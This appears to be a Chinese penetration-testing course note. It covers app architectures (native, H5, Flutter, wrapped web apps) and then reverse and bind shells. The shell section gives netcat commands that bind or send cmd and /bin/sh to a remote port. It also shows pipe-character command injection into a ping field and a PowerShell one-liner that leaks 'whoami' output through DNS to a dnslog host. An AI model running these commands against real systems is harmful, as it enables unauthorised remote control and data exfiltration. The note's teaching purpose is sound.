基础入门-APP架构&小程序&H5+Vue语言&Web封装&原生开发&Flutter

APP应用开发架构
1.原生开发
安卓一般使用java语言开发,也有kotkin语言进行开发。如何开发?简单描述就是使用安卓提供的一系列控件来实现页面,复杂点的页面可通过自定义控件来实现
演示:remusic项目代码
如何测试:反编译&抓包&常规测试–>通过反编译和抓包获取一些接口或者资产进行测试;逆向的角度去分析逻辑设计安全
2.使用H5语言开发
使用H5开发有很多好处,可多端复用,比如浏览器端、iOS端,但体验感不如原生开发。一般这个页面需要分享出去就使用H5开发
APP&WX小程序
演示:使用HBuilderX工具,以及H5和Vue演示了如何搭建H5项目
如何测试:API&JS框架安全问题&JS前端测试
3.使用flutter语言开发
flutter是谷歌推出的一款UI框架,使用dart语言进行开发,支持跨平台,weght渲染直接操作硬件层,体验可媲美原生。(以下来源:AI)截至目前2025年,flutter的开发效率远高于原生,跨端场景优势极致。
4.常规Web开发
Web APP软件开发简单地说,就是开发一个网站,然后加入app的壳。Web APP一般非常小,内容都是app内的网页展示,受制于网页技术本身,可实现功能少,而且每次打开,几乎所有内容都需要重新加载,导致反应速度慢,内容加载过多就容易卡死,用户体验感差,而且app内的交互设计非常有限。但开发周期短,需要的技术人员少,成本低
APP&WX小程序
演示:ShopXo源码(可进行封装源码)+一门APP打包(Web封装平台)
如何测试:常规Web安全测试
如何判断是什么类型?凭经验
①看界面美观度②看功能点③信息收集(公司是否有钱)④通过逆向直接查看源代码
基础入门-反弹Shell&不回显带外&正反向连接&防火墙出入站&文件下载

1.渗透命令-常规命令&文件上传下载
实用案例:文件上传下载-解决无图形化&解决数据传输
场景预设:当你获取权限的地方是一个输入命令的地方,不存在图形化[上传/下载]按钮
棱角社区:https://forum.ywhack.com/–>生成命令
2.反弹Shell-防火墙策略&正反向连接
什么是shell?shell 就像「你和服务器 / 电脑之间的 “命令对讲机”」—— 你(用户 / 攻击者)输入指令(比如ls查看文件、ip adress看 IP),shell 负责把指令翻译成电脑能听懂的 “机器语言”,执行后再把结果反馈给你。常见例子:Windows 的 cmd、PowerShellLinux 的 bash、zsh(比如 SSH 登录后,输入命令的界面就是 shell)
什么是反弹shell?正常情况下,是你主动连目标的 shell(比如你用 SSH 连服务器,相当于 “你打电话给服务器,要控制它”);反弹 shell 是目标主动连你的机器,把它的 shell “送” 过来(相当于 “服务器主动打电话给你,让你控制它”),本质是反向建立控制通道—— 和反向代理的 “反向打通流量” 逻辑完全一致。
正向连接:(谁监听,控制谁)对方(被控制方)先监听端口–>等待我主动发起连接–>我连上去后控制对方。我主动所以是正向
举例:
linux控制windows|①windows绑定cmd到本地端口5566,nc -e cmd -lvvp 5566(在1~65535之间没有被占用的任意端口)②linux主动连接目标5566,ncat 156.xxx.xx.x(windows地址) 5566③连接成功
windows控制linux|①linux绑定sh到本地端口5566,nc -e /bin/sh -lvvp 5566②windows主动连接目标5566,ncat 156.xxx.xx.x 5566③连接成功(其中lvp也可以,v:详细,vv:更详细)
反向连接:(谁监听,控制对方)我先监听端口–>等待对方(被控制方)主动发起连接–>对方连过来后,我控制对方。我不是主动连接,是对面主动,所以是反向
linux控制windows|①windows主动绑定cmd到目标5566端口,nc -e cmd 156.xxx.xx.xx 5566②等待5566连接,nc -lvvp 5566
在内外网情况下,需使用反向连接(以我为主体)。内网机器主动交出控制权,我再去监听端口
正向连接不行的原因:使用正向连接时,我无法找到内网机器的内网IP,只能找到其所属的外网IP。但是该外网 IP 属于内网的路由器,而非目标设备本身。该路由下机器很多,无法将连接请求精准转发到目标内网机器,只有在路由上做了端口映射的情况下才能使用
实际案例:防火墙绕过-正向连接&反向连接&内网服务器
管道符(可执行多条命令):| (管道符号)||(逻辑或)&&(逻辑与)&(后台任务符号)
windows:| & || &&
linux:; | || & && ``(特有``和;)
这里迪总利用自己搭建的靶场进行示范
①直接有一个ping命令窗口(实战中就是拿到权限的窗口吧)
②利用管道符:ping | whoami;这一步主要是为了判断是什么系统–>administrator就是win,root就是linux。判断这个主要是为了辨别是否自带nc,在此次示范中,显示为win
③上传nc,利用命令上传nc。棱角社区:https://forum.ywhack.com/–>生成命令,生成后最好修改一下存储位置,方便查找
④反弹操作,成功利用正向/反向连接控制
防火墙策略:可设置入站出站规则,比如入站规则中禁止了5566端口,则正向连接不能成功,只能尝试反向连接,反之亦然。当然入站规则中如果只允许特定的端口比如80进行访问,那么正向连接自然也不能成功。
3.数据回显-查询带外&网络协议层级
结合上方实际案例来看,如果数据不回显,那我们就不知道是什么系统,命令执行有没有成功。
解决办法–>带外回显(利用dnsloghttps://dnslog.org/)
Linux系统步骤原理:①ping whoami.0292aa1c.log.dnslog.pp.ua.;执行结果:whoami.0292aa1c.log.dnslog.pp.ua.可以明确看到whoami在前面②修改命令为
ping whoami.0292aa1c.log.dnslog.pp.ua.;执行结果:root.0292aa1c.log.dnslog.pp.ua.
Windows系统步骤原理:Win系统没有“,所以以上Linux系统方案完全没法用。①使用powershell在cmd中执行,构造语句powershell $x=whoami;$x=$x.replace(‘\’,’xxx’);$y=.0292aa1c.log.dnslog.pp.ua.;$z=$x+$y;ping $z
在防火墙那里的案例只需要改为127.0.0.1 | ping $z
语句解析:
powershell(调用powershell)
$x=whoami;
$xx=$x.replace(‘\’,’xxxx’);(替换\,因为ping $x结果为[xxxxxxx\])
$y=’.0292aa1c.log.dnslog.pp.ua.”;
$z=$xx+$y;(完成语句拼接)
echo $z;(检查z的回显)
ping $z;
为什么要替换 \?
因为 DNS 域名不允许使用 \ 这样的非法字符
替换 xxxx 可以替换成别的字符串吗?
可以,只要是 DNS 合法字符就行,比如 -, _, abc
替换不做会怎么样?
ping 命令会失败,域名无效,dnslog 不会收到请求
注意:因为替换了字符,所以最后的真实名字要去掉字符







